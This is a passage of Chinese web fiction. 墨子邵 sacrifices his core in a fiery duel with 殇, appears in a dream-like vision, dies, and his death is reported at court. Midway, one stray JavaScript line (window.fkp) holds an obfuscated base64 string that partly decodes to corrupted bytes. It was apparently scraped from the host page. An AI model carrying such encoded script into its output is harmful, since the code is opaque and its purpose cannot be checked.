“墨子邵!你给我听好了!给我活着回来,好吗?我们大家等你回来。还有,你还答应我在中秋节教我做月饼呢,你可别毁约!不然.......不然......小心我揍你!我相信你一定能归来的,墨子邵。” 墨子邵睁开了眼睛,转头看向了身后,他发现身后观云阁内空无一人,刚刚的那些声音只是他的想象。他转头看向远方,他仿佛看到了那一双双眼神之中带有希望的眼睛在注视着他,他仿佛看到了生活在痛苦之中的人们,他仿佛看到了未来的底层人民过上幸福生活的样子。他明白了这一切究竟是谁导致的了,不是那个混蛋国王殇,也不是这场大疫病,而是可怕的人心与资本的控制。他抬起头,望向天空中的太阳,那太阳光是那么的耀眼,那么的璀璨夺目啊。可这光照不到那些在阴影之中的人身上,那些阴影之中的人只能默默忍受痛苦,他们无法反抗。看着天空中的太阳,墨子邵充满了决心与斗志。 墨子邵: “(充满决心)我已经没有什么可失去的了。皇帝已由轩守护,我的国家也已由人来守护。我接下来要做的,就是完成我的使命。生死,将交由时间。亦生亦死,已无价值。” 墨子邵核心的温度开始升高,强大的核心能量开始汇聚在他的全身。 核心: “最高频率超频以启动,核心暴走模式激活!” 在墨子邵心里,一直有个声音。这个声音越来越大,越来越大。这个声音是墨子邵的信念,也是他一直所坚守的道路。 “为了人民.....为了人民,为了人民。为了人民!” 墨子邵: “为民而生,为国而战。生而为民,死亦为民。吾若生,归当庆吾胜。吾若死,归当还觉悟。” 墨子邵闭上了眼睛吟诵道: “(深情)古来英雄亡无数,亡魂尸骸已无踪。英烈化尘归何处,千古年来无人寻。我是波涛江滨之眇尘,将随江水同注远之乡。莫问来何处,日将引人进。若我此后不归,诸君勿念。我身将化为猛烈之火,照此空寂之夜。吾之心将以此火,飘向每觉者之心。” 听到墨子邵的吟诵,殇察觉到了不对劲,他立马往后撤了好几步,同时示意伊躲到一边去。伊和殇都撤到了他们自认为安全的位置,他们目不转睛地盯着墨子邵,心里猜测着接下来要发生的事。 周围的空气开始变得异常灼热,气温开始急剧升高,强大的能量充斥在周围的空间之中。这周围热得就像在火炉里一样,水分在以极快地速度流逝,此情此景,如同置身于地狱之中。墨子邵站了起来,他的身上出现了一团猛烈燃烧的金黄色烈焰,这团烈焰包裹住了他的身体。一道耀眼的光芒闪过,墨子邵以一个全新的姿态出现在殇的眼前。 墨子邵身穿一身有着祥云纹路的黄金战甲,战甲整体是红金相间的色调,金色包裹着红色。他的肩甲与四肢的护甲的上端有着火焰的纹路,看起来十分霸气。他的手部有着坚硬的手甲,手甲的手背上有着火焰标志。他头戴有着两个红翎羽的战盔,战盔的样式是独一无二的定制红凤凰。他的背后有着绀蓝色的披风,一阵炎热的风吹过,他的披风随风摆动。他的手里握着一柄造型炫酷的战戟,战戟上燃着凤凰的烈火,看着压迫感十足。 不知不觉间,周围的景象渐渐变成了一片燃着烈火的沙场。阵阵战鼓声从远方传来,不间断的号角声回荡在沙场之上,感觉宛如真的置身于沙场之中。大漠边上的狼烟直直地飞入云霄,天边的落日染红了天边的云彩。沙场上到处都是散落在各处的武器、盔甲、工程器械碎片与一面面随风飘扬战旗,战旗上是太玄国的标志。远处依稀可以看到一座城,城边燃着一片片烈火,城内灯火通明,依稀可以看到城墙上燃起的烽火台。远处的青山上有着一户人家,一缕薄薄的炊烟从房上升起,迎着日暮,这户人家开始了一天最轻松的时刻。看到此处,感觉仿佛穿越回了那个充满了战争与繁荣的年代。这时,一声声唢呐响彻在沙场上,接着,锣鼓声、古筝声、长笛声随声而来。顿时间,沙场之上响起了一首慷慨激昂的乐曲。望着周围的景象,殇不禁感慨万千,那种熟悉的感觉他很久没有感受过了。墨子邵握紧手中的战戟,用战戟底端猛地砸了一下地,瞬间,沙场之上形成了一面巨大的火墙,这面火墙牢牢地限制住了战斗场地的大小。 墨子邵: “来者,奉上觉悟。” 殇: “好,无问题。” 墨子邵对着殇挥了一下战戟,周围的地面上燃起了烈火。现在,站在殇面前的,是一位真正的英雄。 殇扔掉了手中的武士刀,然后深吸了一口气。 殇: “E协议,突变链接!” 一道耀眼的光芒过后,殇的身上出现了铂金左手的战甲,他的手中武器变成了一把刀锋之上闪着金光的对称长枪。他左手拿着对称长枪,他右手握着拳,做好了战斗的准备。 殇: “国王之手对战国王之手,接下来才是真正的战斗。” 墨子邵冲向了殇,殇也冲向了墨子邵,两人几乎同时起步。殇对着墨子邵张开了右手,一面金色的能量盾牌出现在他的身前。殇对着墨子邵使用了相位猛冲,他一个冲刺顶着这面盾牌撞向了墨子邵,墨子邵一个侧闪躲开了这一击。殇在撞到了火墙之后立刻解除盾牌,然后接着反作用力一个转身向着墨子邵冲去,墨子邵抓住这个空档,对着殇以极快的速度连续挥砍两下释放两刀巨大的火焰剑气。殇见此瞬间停下一个转身舞转起手中的长枪,然后在转了一圈后把手中的长枪扔向了那两道剑气。这把长枪在空中高速旋转,接着在长枪之上涌动起金色的闪电,同时长枪后出现了金色的闪电尾迹。高速旋转的长枪切碎了那两道剑气,并以曲线运动的方式飞向了墨子邵。墨子邵一个上挑弹飞了这把长枪,同时汇聚能量,准备给殇致命一击。这时,殇一个相位猛冲冲向了墨子邵,墨子邵见此做一个冲刺迎面冲向了殇。在电光火石之间,墨子邵以极快地速度对着殇连续六连横扫,接着是连续三连戳。殇身前的护盾瞬间被墨子邵给粉碎,护盾破碎的冲击波将殇往后击退了三米,抓住这个空档,墨子邵一个冲刺冲向了殇。 墨子邵: “火烧千里!” 墨子邵对着殇来了一记大范围的火焰横扫,瞬间,周围一大片的地面都燃起了熊熊烈火,强大的能量使得周围的地面颤动了几下。这时,墨子邵发现这招打空了,墨子邵抬头看去,他发现殇就在自己的上方看着他。殇高举右拳,他右拳的手心之中闪着耀眼的光芒,无数金色的闪电汇聚在在他的右拳之上,这一招,似曾相识。 殇: “裂地猛冲!” 殇一重拳砸向了地面,墨子邵见此连续几个后撤步躲开了这一击。随后,地面被殇砸出了一个大坑,无数大块的碎石被这一下震飞到了空中,大坑周围都是密密麻麻的裂缝,刹那间,无数金色的闪电从裂缝之中射向了天空。其场面十分壮观。殇的全身涌动着金色的闪电,他缓缓抬起头看着墨子邵。他伸直了左手,然后他的对称长枪一个回旋回到了他的手中。殇右手使劲抓了下地,接着一个冲刺冲向了墨子邵。殇对着墨子邵来了一记横扫,接着是转身横扫,最后是前冲突刺,这些攻击墨子邵连续两个横扫加突刺全部挡下了。接着,墨子邵与殇开始近距离对砍,墨子邵对着殇二连横扫、上挑、下劈、三连刺,殇用手中的对称长枪几个横扫与突刺正面挡下了墨子邵的攻击。在对砍中,两人的位置一直在变换,两人几乎没有停下过移动。两人的体位也一直在变换,时而墨子邵背对殇,时而殇背对墨子邵,甚至还有两人相互背对对方这种情况出现。两人在对砍之中各受了点伤,殇的情况还好,而墨子邵就稍稍差一些了。但无论如何,两人武器攻击的方向始终对着对方。 这时,墨子邵将手中的戟刺向了殇,殇见此侧身躲开。墨子邵汇聚能量,一个转身一跃而起,在空中对着殇来了一记下劈砍,殇有一个侧身躲开。殇抓住这个空档,对着墨子邵连砍两下,墨子邵瞬间改变姿势,连续两个后侧步躲开了殇的攻击,接着墨子邵跳起来对着殇又是一记下劈砍,殇后撤躲开。这时,墨子邵突然又一个前冲突刺刺向了殇,殇见势不妙,对着墨子邵来了一记相位猛冲,直接把墨子邵撞飞了出去。殇汇聚核心能量,他对着墨子邵张开右手,然后释放了一道金色雷电射线,试图定住墨子邵。但墨子邵不吃他这一套,他旋转手中的战戟迎面抵消掉了这道射线。就在这时,殇瞬间将核心能量汇聚在对称长枪上,然后他停止发射射线,一个冲刺冲向了墨子邵。墨子邵见此对着殇连续两个横扫释放两道剑气,接着一个下劈砍释放了裂地震荡波。殇见此一个急停停了下来,接着他旋转手中的长枪抵挡掉了那两道剑气,然后一个转身将对称长枪扔向了墨子邵,对称长枪掠过了震荡波的上空,正好与震荡波擦肩而过。墨子邵见此本能地侧闪躲避这把长枪,就在这时,殇对着对称长枪伸出了右手,同时殇的身上也出现了对称长枪上的金色雷电,这把长枪与殇产生了某种共鸣。 殇: “位移,链接!” 殇瞬间握紧右拳,接着殇一个瞬移来到了这把对称长枪的上空。他一把抓住这把长枪,接着一个冲刺来到墨子邵面前。他对着墨子邵连续来了两个大规模横扫,墨子邵连续两个侧闪躲开了。就在这时,墨子邵注意到殇对称长枪上的金色闪电变成了红色的闪电,墨子邵察觉到不妙,他立即将自己的战戟横在身前准备抵挡接下来的攻击。事实证明,墨子邵的决定是正确的。殇在一个转身之后对着墨子邵释放了威力巨大的穿刺攻击,他将手中的长枪对着墨子邵狠狠地刺了过去。这一击直接给墨子邵往后击退出去十几米,同时还让墨子邵沿路的地面变得遍布裂痕千疮百孔。墨子邵在停下后,强大的冲击使他受到了严重的内伤,他往地上吐了一口血,然后擦了擦嘴角的血。刚刚与殇的一系列战斗使得他受了很多的伤,加上这次造成的严重的内伤,再这样下去,他再抗三下就会死掉。现在的局势对他很不利, 墨子邵: “(意志坚定)不,尚不止于此!以为众......以为民......以其苦者......以余所爱者也!我不能倒!” 墨子邵站了起来,然后握紧了手中的战戟。他闭上的双眼,静静地思考。就在这时,他的身后出现了一对由火焰构成的翅膀。他睁开了眼睛,怒不可遏的盯着殇。 墨子邵: “不,战犹未毕!” 墨子邵汇聚全部能量在自己的全身,让铠甲与躯体的每个部分都保持最佳状态。这是他......全部的力量了,这也是......他最后的力量了。他这么做要面临核心熔毁的风险,他已经是半只脚迈进了坟墓。这时,一只由炽火构成的凤凰出现在他的身后,顿时间,沙场上的温度达到了一个前所未有的数值,周围的所有木制品都开始燃烧,地面的温度变得十分滚烫,要不是因为殇有核心能量的保护,他现在就直接被烧死了。 墨子邵: “(深情)轩......帝与众人......乃授汝以保矣。许我,保护好之......” 墨子邵高举手中的战戟,他已经做好了死在这里的准备。他身后的凤凰发出了一声啼鸣,似乎是在向殇宣告着什么。墨子邵握紧手中的战戟,一个冲刺迎面冲向了殇,他的眼神很是坚定,坚定到令殇感觉到了恐惧。烈火在他的身后燃烧着,不,是烈火此刻在紧紧地跟随他的步伐!墨子邵将手中的战戟向殇刺了过去,殇试着用横扫来招架,但是此刻的墨子邵全身充满了力量,殇被这一击直接击退到了火墙的边缘,他的招架勉强算是成功了,起码他本人没有收到什么伤害。灼热的烈火炙烤着殇的后背,这让殇全身都被汗水打湿了。殇的视线有些模糊,在刚刚漫长的战斗后,他有些脱水了。就在这时,墨子邵以极快地速度来到了殇面前,殇还没来及反应,他就一个上挑将殇击飞到了火墙之上。面对火墙的灼烧,殇被迫启动了洞察者能力,然后他逃脱了火墙,回到了场地的中央。就在这时,殇发现即使时间流速如此之慢,墨子邵的速度竟然能达到正常人走路速度的一半。就在洞察者能力解除的瞬间,墨子邵一个冲刺来到了殇的面前。此时,殇已经提前汇聚完了核心能量,接下来,他准备要在这次近战交锋之中直接打倒墨子邵。殇对着墨子邵来了一个威力十足的大范围横扫,墨子邵用一个威力相近的横扫挡下了这一击,接着殇对着墨子邵来了一个威力十分大的大规模环身横扫,墨子邵旋转战戟挡下这一击。最后,殇一个转身将手中的对称长枪对着墨子邵狠狠地刺了过去,同时,墨子邵也一个转身用手中的战戟对着殇狠狠地刺了过去。刹那间,两人的武器碰在了一起,接着强大的冲击波震碎了周围的地面,激起了无数大块的碎石,这一下的威力比之前的裂地猛冲要大上许多。墨子邵和殇都被往后击退出去十多米,墨子邵将战戟插在地上来减速,殇则用右手抓地来减速。在两人都停下后,殇往地上吐了一大口鲜血,同时猛烈地咳嗽了几下。殇体内的旧伤复发了,而且新伤更加严重了。墨子邵紧闭牙关,但很快,他也像殇一样往地上吐了一口鲜血。他的状况比殇还要好一点,但好也没要到哪去。他的核心已经过载,即将进入熔毁状态,接下来的战斗,即便是他赢了,他也难逃死亡的魔爪。此刻,周围的地面已经被毁的不成样子,殇与墨子邵战斗的痕迹清晰可见。墨子邵深吸了一口气,然后拿着战戟冲向了殇。最后时刻,殇的核心能量已经所剩不多了,同时他的体力也即将耗尽。再这样下去,他就会因为没有核心能量的保护而被活活烧死,接下来,他决定放弃主动进攻,转而招架反击墨子邵的攻击。在他看来,这样总比主动攻击要更加省能,更加省力。 殇心里: “决一死战吧,兄弟。” 殇将最后的核心能量汇聚在自己的全身,让自己防御力达到最高。墨子邵来到殇的面前一个上挑将殇挑飞了空中,接着他一跃而起来到殇的上方,他对着殇来了一记下劈砍,殇被这一下重重地砸到了地面上。殇全程都在用对称长枪防御,现在他决定等待墨子邵将能量消耗殆尽再进攻。墨子邵落地后对着殇连续五次挥砍释放了五道威力十足的火焰剑气,殇见此旋转长枪进行防御。每抗下一道剑气,殇都能感觉到自己体内的伤痛变得更加剧烈。在挥砍完剑气后,墨子邵来到殇的面前对着连砍带刺地攻击了十多下。接着墨子邵一个突刺将殇往后击退了十几米,然后跳起来一个下劈砍对着殇释放了一道威力巨大的裂地震荡波,裂地震荡波所经之处的地面都往上喷涌着熊熊烈火。殇一个侧闪躲开了这道震荡波,但是没能躲过地上的火柱。火柱的灼烧使得他的核心能量瞬间消耗了许多,这导致了他所能坚持的时间更加的短暂了。墨子邵汇聚全部的核心能量于自己的战戟之上,顿时间火光冲天。墨子邵摆好架势,对着殇释放了自己的绝招。 墨子邵: “涅盘·凤火燎原!” 墨子邵一个冲刺来到了殇的面前,此刻,他的身后汇聚着无比强大的力量,那种力量不仅仅是通俗的那种强大,而且还是信念层面的强大。那只由烈火构成的凤凰,在此刻张开了它的翅膀,它向着天空啼鸣了一声,这声啼鸣之中有着无尽的怒火与不甘。墨子邵用尽全部力量,将战戟对着殇狠狠地刺了过去。殇将对称长枪横在身前,挡下了这威力无穷的一击。接着,一团巨大的火焰包裹住了殇,但很快,这团巨大的火焰就解体成了地面上的烈火。这时周围的地面瞬间破碎,无数碎石块从地面上飞起,然后向着墨子邵战戟刺的方向飞去。同时,周围的地面上燃起了烈火,这烈火比之前的要更加猛烈,更加旺盛。紧接着,那只凤凰直直地飞向了殇。它用自身的烈火狠狠地灼烧着殇的身体,恨不得把殇烧成连骨灰都不留。殇被这一下伤得不轻,他体内体外都受到了很严重的伤害。他手中的对称长枪甚至因为抵挡了这一击而解体成了核心能量,可见这一击的威力之大。 殇被这一击击飞到了火墙边缘,他颤颤巍巍地站着,死死地瞪着墨子邵。墨子邵一个冲刺来到了殇面前,接着对着殇快速地连续挥砍,在第四下的时候,殇交叉双臂抵挡墨子邵疯狂的攻击。在第十七下的时候,墨子邵的攻击速度变慢了,然后越来越慢,最后他连一秒挥出一下都做不到了。殇见此放下双臂,汇聚最后的能量,对着墨子邵的头来了一记重拳。这一记重拳直接将墨子邵打倒在了地上,算是彻底结束了战斗。 殇: “结束了......战斗结束了......” 墨子邵在倒地之后便失去了意识,同时,周围的场景恢复到了正常,火墙消失了,沙场消失了,战斗结束了。殇站在墨子邵身前喘着粗气,在喘了几口气后,他坐在了墨子邵的身旁。就在这时,雷声传入了殇的耳中,殇抬头看去,发现天空中此刻已是乌云密布。殇痴痴地看着天空中云,他好像从这些云中看出了些什么。不一会,雨点就落了下来,很快一场大雨倾盆而下。殇没有躲雨,而是坐在了自己的对手墨子邵身旁静静地欣赏这场雨。对于他来说,胜负已经无所谓了,毕竟,他自己早就输得一无所有了。殇用手摸了摸墨子邵的脸,然后像位长者一样笑了笑。 殇: “(微笑)这小子,心挺实诚,人也挺实诚。(感慨)这样衷心国家与人民的人啊......现在已经不多了啊。” 风吹过大地,将人们心中的思念,吹向远方。雨淅淅沥沥,将人们心灵的污点,冲刷干净。一切都是那么安静,仿佛什么都没有发生一样。刚刚那么猛烈的战斗,竟连一点波澜都没掀起。一切的一切,都随着雨水,被冲刷得一干二净。一切的一切,都随着雨水,流向了流水潺潺的河流。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—最终话:远离荒芜,走向城市 殇渐渐变回了之前的样子,墨子邵也渐渐变回了之前的样子。这时,伊走了过来。看着浑身是伤的殇和墨子邵,伊有些心疼。在看到伊担心的表情后,殇自信地笑了笑,告诉伊自己没多大事,虽然他知道自己现在受了多重的伤。就在这时,伊的周围再次出现了奇异的光芒,光之种子与光之碎片建立了链接。奇异的光芒照在伊的身上,无数发光的光点环绕着伊。突然,这些光点离开了伊,全都汇聚在墨子邵的身上。突然间,一道耀眼的光芒出现,接着,殇和伊的眼前出现了墨子邵的内心世界。 墨子邵扛着一面太玄国的国旗站在一座小山山顶的观景台上,他将这么国旗插在观景台上,然后笑着看向远方连绵起伏的小山。清凉的秋风吹过他的身旁,又是一年之秋,又是农民一年之中最忙碌的时节。远处山下是一片片的麦田,在麦田之上是先进的机器正在收割着作物。从远看去,就好像一艘艘小船正在金色的海洋里慢慢前进。从农民劳作的身影中,墨子邵看到了希望。这里是他的家乡,琉璃庄。墨子邵微笑着叹了一口气,然后转头看向身后。这时,他的眼前突然出现了一个身穿深棕色大衣的男人。两人对视了一眼,然后两人上前去与对方握了握手。虽然墨子邵不知道对方的名字,但是看到对方这身古典的大衣,墨子邵就认出了他的身份。 无名: “(微笑)你好,同志。我是红星事务所的同志,来此是来见你一面的,墨子邵同志。” 墨子邵: “(微笑)幸会幸会。请问,同志你叫什么名字?” 无名: “(微笑)你只需要知道我是红星事务所的一员就行。” 墨子邵: “(指向远方)同志,你看。你们所宣扬的新社会已经在我们这里生根了,现在就差发芽开花了。” 无名: “(看了看远方)能看到这种景象,我很是荣幸啊。” 墨子邵: “(自豪)现在太玄国的人民已经过上了幸福快乐的生活,现在我们这里的阶级都已经平等了,没有区别对待与较大的贫富差距了,人人都能安居乐业。” 这个男人不知从何处拿来了一面有着希望之辉的红旗,他将这面旗递给了墨子邵,并深情地握了握墨子邵的手。 无名: “(深情)同志,这面旗是事务所赠与你的礼物,请你收下,留作纪念。” 墨子邵接过红旗,很深情地看了看这面旗子。墨子邵抬头想对他说些什么,可当他抬头时候,那个男人消失得无影无踪。墨子邵看了看手中的旗子,然后握紧了这面不凡的红旗。他将这面红旗插在了太玄国国旗的旁边,让这两面旗子做个伴,让它们一起在风中飘扬。 就在这时,墨子邵想起了那个人的名字。他叫刘,是他曾经的同学,他在毕业后加入了红星协会,当时红星协会是所有协会的眼中钉,肉中刺,但他为了自己的信仰,还是义不容辞地加入了红星协会。后来,红星协会因为各大协会的打压与进攻而灭亡,当时幸存的最后一批人重新组建了红星事务所,而刘就是其中一员。 想到此处,墨子邵的眼角泛着泪光。最后,红星事务所在一夜之间消失了,据说是因为一场故意挑起的战争。但是即便红星协会灭亡,“那些人”也无法彻底除掉红星协会所播下的思想种子。虽然这种子还很脆弱,还无法与这个时代的顽固派对抗,但......终有一日,这颗种子将会开花结果,到时候这个黑暗的时代将迎来终结。 这时,墨子邵想起了红星事务所所有成员在战争开始之初面对广大人民所喊出的那句话。那句话通过电视转播传入了每个人的耳中,更是传入了许多同志的心中。 “真理是无法被打败的,正义是无法被埋没的!” 这是红星协会创始人所坚定的信念,也是太玄国全体逐梦者所坚信的信念。对于墨子邵来说,太玄国最大的敌人不是反对太玄国的人,而是这个腐朽世界的维护者。为了打败那些维护者,墨子邵愿意奉献一切。 他的死,让墨子邵更加坚定了自己的信念。他相信,总会有办法拯救那些受苦的人民的,而这个办法就在太玄国这里,就在这个充满龙的气息的土地上,就在那面红旗上。墨子邵爱这片土地,爱这里的一草一木,爱这里的人民,爱这个充满希望的国家。他曾在这里许下了一生的誓言,他曾在这里见证过四季的变化,他曾在这里长大,他是这里土生土长的人。 墨子邵拔出腰间的剑,然后转身走向下山的路。那两面旗子被他留在了这里,它们随风飘扬,在风中赞扬着自己所蕴含的信念。就在这时,有人叫住了墨子邵。墨子邵回头看去,轩和太玄国皇帝胤正在与他挥手道别。墨子邵笑了笑,对着他们挥手道别。在走到山下的时候,炽热的烈火出现在了他的身前。从那烈火之中,墨子邵看到了希望的光芒。那希望的光芒是如此耀眼,如此温暖。 墨子邵没有回头,径直地走进了烈火之中。顷刻间,凶猛的烈火便吞没了墨子邵。烈火灼烧着墨子邵的肉体,墨子邵感受到了常人难以忍受的疼痛,但他并未因此退却一步。 墨子邵: “(意志坚定)即便是烈火,也无法杀灭我心中的信念。或者说,这烈火,便是我的信念。我所信仰的、我所坚持的、我所热爱的一切,何尝不是如这烈火一样坚毅。” 墨子邵的身躯开始颤抖,烈火即将彻底吞没他,让他化作灰烬。但墨子邵依旧没有停下,他用尽全部力气向着前方一步一步走去。 墨子邵: “(深情)我爱我的国家,我爱我的人民,我爱这世界一草一木。因此,我愿意为了这个世界而赴汤蹈火。为了守护这个世界的美好,为了那些仍在受苦的人民,为了那一双双渴求希望的眼睛!我愿意抗下这份使命!” 墨子邵的身体开始分崩离析,他即将葬身火海之中,但他并未感到一点恐惧。墨子邵沐浴在希望的光芒之中,他的眼中只有未来的锦绣繁华。 墨子邵: “(意志坚定)我知此事九死一生,但我不惧此事之危。我的死亡将会换来未来盛世的锦绣繁华!我的死亡将会让我们的道路变得更加通顺!死亡是我的终点,但不是我们的终点。(深情)愿未来,能是锦绣繁华。” 墨子邵跪倒在了熊熊烈火之中,跪倒在了希望的光辉之中。他望着眼前的盛世,不禁露出了欣慰的笑容。在这笑容之中,有着一丝不甘与遗憾,但更多的是对未来的无限憧憬。 墨子邵: “(意志坚定)归当还定其觉悟......真男人,大丈夫......从不惧怕死亡!(深情)战士们......愿我们能在希望的彼方相见......这是我......视死如归的担当。” 墨子邵的身影消失在了希望的光芒之中,消失在了熊熊烈火之中。在墨子邵闭上眼睛的最后一刻,墨子邵深情地说道: “轩......很抱歉,我没法完成那些约定了。还有......实际上,这些年我一直装作不太在乎你对我的好意。其实......我知道你喜欢的人是我,从十几年前我就知道。说实话,我还蛮在乎你的......如果来生还能再见,我绝对不会辜负你.......” 墨子邵消失在了烈火之中...... 一股强大的能量涌入了伊的核心,伊的光之种子获得了养分。 伊的核心: “光之种子已萌芽24.9%,激活碎片3,视死如归的担当。激活能力:治愈之力、光之剑I型。” 一道耀眼的光芒过后,墨子邵身上的光点消失了,殇的伊的视角恢复到了正常。此刻,殇突然想起了某些东西。 殇拄着手中的武器颤颤巍巍地站在那位白发男人的面前,在那个白发男人绝对的实力面前,殇不可能赢下这场决斗。 ???: “(微笑)殇,别忘了,当初是谁给予你人间守望者的力量的。现在,你这条狗竟然敢反抗我。哈哈哈哈......无知,可悲。” 殇: “(咬牙切齿)呵呵......这点我可没忘。但你没有经过我的同意就把力量给予了我,并且还让我付出代价!你可真是仁慈啊.......” ???: “(严肃)无知,你这条狗真是无知。如果我不给予你这力量,你能是那个横扫千军的英雄吗?你能以一己之力打败殖民者吗?” 殇: “(咬牙切齿)呸!你这个虚伪的二货。老子才不想当你剧本里的英雄!” ???: “(微笑)不知好歹。哼~也对,你本来也不是什么好东西。你们这个种族都不是什么好东西,真不知道她为什么要创造你们......换做是我,早就把你们变成赛博人了。” 殇: “(苦笑)她?呵呵,你还好意思提她?(咬牙切齿)别以为我什么都不知道!我曾经可是64号考古队中的幸存者,我很幸运看到了那些你绝对不想让世人知道的东西,用不用我再跟你复述一遍啊?” ???: “(暴躁)他妈的闭嘴!你就是一条野狗,一条不可救药的野狗!等着吧,你会为你今天说的话后悔的!(阴笑)按照我的剧本,很快就是剧中的高潮了。准备好迎接英雄的落幕吧,殇。你会知道的,反抗神明没有好下场的。” 殇: “(嘲讽)呵呵呵......她要是看到了你的所作所为,她的心会被你伤得透透的,到时候,你永远也得不到......” 那个白色的男人瞬移到了殇面前愤怒地掐住了殇的脖子,他现在十分愤怒,恨不得现在就把殇撕成碎片。但很快,他的表情就变成了微笑。他松开了手,然后微笑着看着殇。 ???: “(微笑)殇,那么我再给你一次机会。看在她的面子上,现在我决定不启动大筛选了。但是,有个条件。按照剧本,很快你的王国将迎来一个最黑暗的时期。在那个时期之中,你若能幸存下来,那就在八十年后再次来到这个地方与我决战。如果你不来,或是中途死掉了,那么就由你的女儿与我战斗。如果她输了或者你输了,那么接下来,大筛选会如期展开。整整八场涉及各国家全部领土的大灾难就会开始!到时候,所有生灵都能感受到来自神明的怒火!哈哈哈哈......(阴笑)希望你,到时候能如期而至,不要死在半路上了!哈哈哈哈!” 看着眼前狂笑的白发男人,殇很想照他脸上来一拳,但他做不到,实力差距就摆在面前。那位白发男人笑着离开了这里,只留下心中有着无尽怒火与不甘心的殇。 就在这时,许多碎片一样的记忆涌入了殇的脑袋。 一个被送进大型粉碎机里的白发姑娘...... “不完美的激活器!” 一个规模巨大的蓝图...... “信标......基座......” 一张模糊的巨大地下地图...... “不止一个......不止一个......” 一个巨大的空中堡垒...... “是他......是神......是敌人......” 一个隐藏在地下深处的实验室...... “是神迹......是神迹?不,不是神迹......” 一张模糊的全息影像...... “他们跟我们好像......不,他们就是人类......他们是同胞!” 一座高耸入云霄的刻字的巨大石碑...... “重要......那里很重要!” 殇有些头疼,这些碎片一样的记忆令他感到不安。 殇: “(小声嘀咕)他到底他妈的是谁?为什么看着他我想吐!” 就在这时,墨子邵的核心开始报错,同时致命的核心熔毁开始了。伊和殇见此赶忙凑到了墨子邵的身边查看情况,殇将手放在墨子邵的胸口上,下一秒殇感觉到了墨子邵胸口处的高温,殇察觉到了不妙。就在这时,伊很担心地问殇: “(急)殇,怎么办啊?” 殇摸了摸墨子邵的脉,他发现墨子邵的脉搏跳动正在变慢,他看了看周围,这时,他注意到了地面上的生或死。现在情况危急,殇赶忙跑去拿来了生或死,然后对着墨子邵他拔出了刀。 殇: “(急)现在,只能这样了。伊,找点东西给他止下血。” 伊: “(急)止血,什么东西能止血?” 这时,躲在一旁许久的流光蝶影飞了过来。 流光蝶影: “(微笑)伊,我知道什么东西能止血!快跟我来,我带你去找。” 伊: “(点点头)好。” 殇: “(急)伊,你俩快点。” 这时,就只剩下了殇一个。殇拿着刀的手有些颤抖,他杀怪干人时手都不带抖的,可就在这个时候他的手竟然开始抖了。他知道他自己不是专业的医生,他很怕自己一刀下去就把墨子邵给弄死了。现在他没时间犹豫了,再拖下去,墨子邵就会因为核心熔毁而死亡。殇闭着眼深吸了一口气,他心里默默祈祷着自己能够成功。 殇: “(紧张)墨子邵,希望你别死在我刀下。” 殇用手指找出了墨子邵核心的位置,然后用比较熟练的操作取出了墨子邵的核心。刚接触核心,殇的手就被烫的血红,差点就燃起火来了。殇想都没想,直接把墨子邵的核心扔了出去。就在墨子邵核心落地的那一刻,墨子邵的核心像一颗炸弹一样爆炸了,顿时一团金色的火球从墨子邵的核心之中往外喷涌而出,同时无数金色的雷电射向了四面八方。所幸周围还下着雨,那些树木并没有被点燃,只是被突如其来的火给烧黑了一片树皮。就在这时,殇发现墨子邵突然一动也不动了。殇摸了摸他的脉,发现他没有脉搏了。殇又将手指横在他鼻子前测试呼吸,他此刻已经没有呼吸了。 与此同时,在太玄国皇宫内的太玄国国家安全部门的机密房间之中,一直负责监视墨子邵一行人的智能AI检测到了异样,它将一段数据传输到了太玄国国家安全部部长的手里。在看到这条数据后,太玄国国家安全部部长的手有些颤抖,他的眼神之中满是惋惜与惊讶。太玄国国家安全部部长将这条数据打印成了文件,接着他找到了太玄国皇帝胤。他将手中的文件交给了胤,胤结果文件打开一看,他整个人都楞在了原地。在看到这封文件的内容后,胤的表情很是难过,他回头看了一眼正在门口站岗的轩,他立马装出了没事发生的表情。胤颤抖着把手中的文件递给了太玄国国家安全部部长,并小声嘱咐他通知所有部门的部长下午开会。太玄国国家安全部部长点了点头,转身离开了。在太玄国国家安全部部长离开后,轩走了过来。 轩: “(担心)殿下,是不是出什么事了?您的表情怎么这般奇怪?” 胤: “(心情复杂)轩,有件事我得向你道个歉。其实,墨子邵并没有去东玲国,他去了天堂岛。” 轩: “(惊)嗯?!天堂岛?他去天堂岛干什么了?” 胤: “(心情复杂)执行一项任务。一项很严峻的任务。” 轩: “(疑惑)很严峻的任务?具体......是什么?(担心)危险吗?” 胤: “(心情复杂)去天堂岛去击杀殇的附生体,并摧毁殇的核心。” 轩: “(惊讶)什么!殿下,你指的是殇王国的国王殇吗?” 胤: “(点点头)没错。” 轩: “(担心)那墨子邵现在怎么样了?他打得过殇的附生体吗?” 胤: “(心情复杂)殇的实力是未知的.......但.......” 胤看出了轩眼神之中的担心与害怕,他不知道该不该现在告诉轩这个消息。他知道一些事情......他此刻不知如何是好了。 轩: “(担心)殿下......” 胤: “(心情复杂)我本以为殇离开了肉体就是一个普通的战士,可是......(叹气)哎......结果出乎我的意料啊。” 轩: “(担心)殿下,请您能否告诉我事实的真相?” 胤犹豫再三,最后决定将事实告诉轩。 胤: “(悲伤)轩啊......从今往后,你就是我唯一的卫士了。” 轩: “(疑惑)那墨子邵呢?” 胤: “(悲伤)墨子邵他.......死了。死在了天堂岛。” 听到这个消息,轩愣在了原地,她的眼神之中满是惊讶,她难以接受这个事实。轩的眼角泛着泪花,她强忍着泪水,想让自己不要哭出来。 轩: “(伤心)殿下,你再确认一下消息吧。万一墨子邵只是重伤了呢,万一.......” 胤: “(悲伤加严肃)不,轩。跟随墨子邵走的那两个战士亲自看到了殇杀死了墨子邵,而且殇还把墨子邵的尸体给焚化了,不给他们两个一点抢救的机会。墨子邵,他......真的死了。” 听到太玄国皇帝这么说,轩心里最后的希望消失了。此刻轩再也绷不住了,泪水止不住地往外流淌。她此刻伤心到悲痛欲绝,她从未像现在一样悲伤过。她永远地失去了墨子邵这位挚友,她以后再也不能去找墨子邵愉快地聊天了,她以后再也见不到墨子邵了。 轩: 